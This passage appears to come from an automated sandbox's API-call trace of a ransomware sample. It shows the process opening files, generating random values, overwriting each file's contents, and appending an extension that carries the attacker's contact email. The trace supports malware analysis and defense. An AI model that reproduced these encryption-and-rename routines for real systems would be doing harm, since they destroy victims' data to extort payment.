dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.530] GetLastError () returned 0x5 [0172.530] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis", dwFileAttributes=0x20) returned 0 [0172.530] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0980) returned 1 Thread: id = 6385 os_tid = 0xf28 [0171.855] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\dumontdurville")) returned 0x20 [0172.531] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville", dwFileAttributes=0x20) returned 0 [0172.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\dumontdurville"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.531] GetLastError () returned 0x5 [0172.531] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville", dwFileAttributes=0x20) returned 0 [0172.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6a28) returned 1 Thread: id = 6386 os_tid = 0xf2c [0171.856] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\macquarie")) returned 0x20 [0172.532] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie", dwFileAttributes=0x20) returned 0 [0172.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\macquarie"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.532] GetLastError () returned 0x5 [0172.532] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie", dwFileAttributes=0x20) returned 0 [0172.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7758) returned 1 Thread: id = 6387 os_tid = 0xa24 [0171.857] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mawson")) returned 0x20 [0172.533] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson", dwFileAttributes=0x20) returned 0 [0172.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mawson"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.533] GetLastError () returned 0x5 [0172.533] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson", dwFileAttributes=0x20) returned 0 [0172.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0880) returned 1 Thread: id = 6388 os_tid = 0x1ca8 [0171.857] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mcmurdo")) returned 0x20 [0172.534] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo", dwFileAttributes=0x20) returned 0 [0172.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mcmurdo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.535] GetLastError () returned 0x5 [0172.535] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo", dwFileAttributes=0x20) returned 0 [0172.535] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0680) returned 1 Thread: id = 6389 os_tid = 0x1cac [0171.858] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\palmer")) returned 0x20 [0172.535] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer", dwFileAttributes=0x20) returned 0 [0172.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\palmer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.536] GetLastError () returned 0x5 [0172.536] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer", dwFileAttributes=0x20) returned 0 [0172.536] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0f80) returned 1 Thread: id = 6390 os_tid = 0xa28 [0171.859] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\rothera")) returned 0x20 [0172.048] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera", dwFileAttributes=0x20) returned 0 [0172.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\rothera"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.048] GetLastError () returned 0x5 [0172.048] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera", dwFileAttributes=0x20) returned 0 [0172.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c00) returned 1 Thread: id = 6391 os_tid = 0xa2c [0171.860] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\syowa")) returned 0x20 [0172.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa", dwFileAttributes=0x20) returned 0 [0172.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\syowa"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.049] GetLastError () returned 0x5 [0172.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa", dwFileAttributes=0x20) returned 0 [0172.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 Thread: id = 6392 os_tid = 0x964 [0171.860] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\vostok")) returned 0x20 [0172.528] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok", dwFileAttributes=0x20) returned 0 [0172.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\vostok"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.528] GetLastError () returned 0x5 [0172.528] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok", dwFileAttributes=0x20) returned 0 [0172.528] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0400) returned 1 Thread: id = 6393 os_tid = 0x968 [0171.861] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif")) returned 0x2020 [0171.862] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif", dwFileAttributes=0x20) returned 1 [0174.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15bc [0174.895] GetFileSizeEx (in: hFile=0x15bc, lpFileSize=0x5adfad0 | out: lpFileSize=0x5adfad0*=70364) returned 1 [0174.895] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x112d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.895] ReadFile (in: hFile=0x15bc, lpBuffer=0x5adfa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5adfa50, lpOverlapped=0x0 | out: lpBuffer=0x5adfa54*, lpNumberOfBytesRead=0x5adfa50*=0x4, lpOverlapped=0x0) returned 1 [0174.912] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0174.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0174.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b20 [0174.913] NtQuerySystemTime (in: CurrentTime=0x5adfa30 | out: CurrentTime=0x5adfa30*=132174899495086000) returned 0x0 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5ebf64e4 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x8550766 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x3b4db5b1 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x7a80274c [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5145bf9c [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x76dd705d [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x1d3e3e65 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x4941e509 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x3d31b54d [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x16a25ffc [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5f6495e1 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x2c986311 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5d09e6c2 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x10a56efd [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x40df5dc3 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x48ec308c [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x2896d2c5 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5353178b [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x68954008 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x67c9b38 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x70dd65f0 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x1ed81646 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x4fc115e9 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5d5f9842 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5cdf0e02 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x30a2feda [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x337b8b40 [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x6283566e [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x2d56e48e [0174.913] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x5cb43542 [0174.914] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0x41fae3f1 [0174.914] RtlRandomEx (in: Seed=0x5adfa3c | out: Seed=0x5adfa3c) returned 0xa664c92 [0174.925] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.925] ReadFile (in: hFile=0x15bc, lpBuffer=0x12d0d810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x5adfa10, lpOverlapped=0x0 | out: lpBuffer=0x12d0d810*, lpNumberOfBytesRead=0x5adfa10*=0xc800, lpOverlapped=0x0) returned 1 [0175.059] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.059] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2818 [0175.060] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8800 [0175.060] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cd8 [0175.060] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0175.060] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12d33028 [0175.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cd8 [0175.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c88 [0175.062] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c88) returned 1 [0175.062] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0175.062] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0175.062] WriteFile (in: hFile=0x15bc, lpBuffer=0x12d33028*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x5adfa10, lpOverlapped=0x0 | out: lpBuffer=0x12d33028*, lpNumberOfBytesWritten=0x5adfa10*=0xc800, lpOverlapped=0x0) returned 1 [0175.240] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d33028) returned 1 [0175.240] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0175.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x23) returned 0x8d8868 [0175.240] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.240] WriteFile (in: hFile=0x15bc, lpBuffer=0x91bfc8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x5adfa90, lpOverlapped=0x0 | out: lpBuffer=0x91bfc8*, lpNumberOfBytesWritten=0x5adfa90*=0x107, lpOverlapped=0x0) returned 1 [0175.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91bfc8) returned 1 [0175.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cb0) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d28) returned 1 [0175.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0175.242] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x172) returned 0x8f3d70 [0175.242] wcscpy (in: _Dest=0x8f3d70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" [0175.242] wcscat (in: _Dest=0x8f3d70, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.mailto[2Hamlampampom@cock.li].cd46d" [0175.242] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5adfa48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0175.242] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x188) returned 0x91bba8 Thread: id = 6394 os_tid = 0xa70 [0171.862] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png")) returned 0x2020 [0171.862] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", dwFileAttributes=0x20) returned 1 [0173.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10b4 [0173.922] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x7d4fc74 | out: lpFileSize=0x7d4fc74*=4361) returned 1 [0173.922] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x1105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.922] ReadFile (in: hFile=0x10b4, lpBuffer=0x7d4fbf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7d4fbf4, lpOverlapped=0x0 | out: lpBuffer=0x7d4fbf8*, lpNumberOfBytesRead=0x7d4fbf4*=0x4, lpOverlapped=0x0) returned 1 [0173.924] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b70 [0173.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a30 [0173.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98f0 [0173.924] NtQuerySystemTime (in: CurrentTime=0x7d4fbd4 | out: CurrentTime=0x7d4fbd4*=132174899485258000) returned 0x0 [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x4e4c4fb9 [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x1ab2af6c [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x2d58d41a [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x3da4e6bd [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0xc5e78e7 [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x2c2df1d [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x673f8c82 [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x74060ffa [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x3b0755d0 [0173.924] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x7a8b84bf [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x4acc2c0e [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x1ff6da09 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x27b99ad0 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x24cf9b2 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x102a5a32 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x194485d2 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x301d69b6 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x27910877 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x6ec15b61 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x12958645 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x5ef71b7c [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x10d04b5d [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x771a3a39 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x4f4c93eb [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x11b16701 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x53df37f [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x666c1151 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x55e3ac15 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x5beecd5c [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x1894eae6 [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x5468aeea [0173.925] RtlRandomEx (in: Seed=0x7d4fbe0 | out: Seed=0x7d4fbe0) returned 0x3dbf9d20 [0173.937] ReadFile (hFile=0x10b4, lpBuffer=0xd498048, nNumberOfBytesToRead=0x1109, lpNumberOfBytesRead=0x7d4fbd0, lpOverlapped=0x0) [0173.938] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.938] WriteFile (in: hFile=0x10b4, lpBuffer=0xd4f8870*, nNumberOfBytesToWrite=0x1109, lpNumberOfBytesWritten=0x7d4fbcc, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesWritten=0x7d4fbcc*=0x1109, lpOverlapped=0x0) returned 1 [0174.620] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945758 [0174.620] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945780 [0174.620] 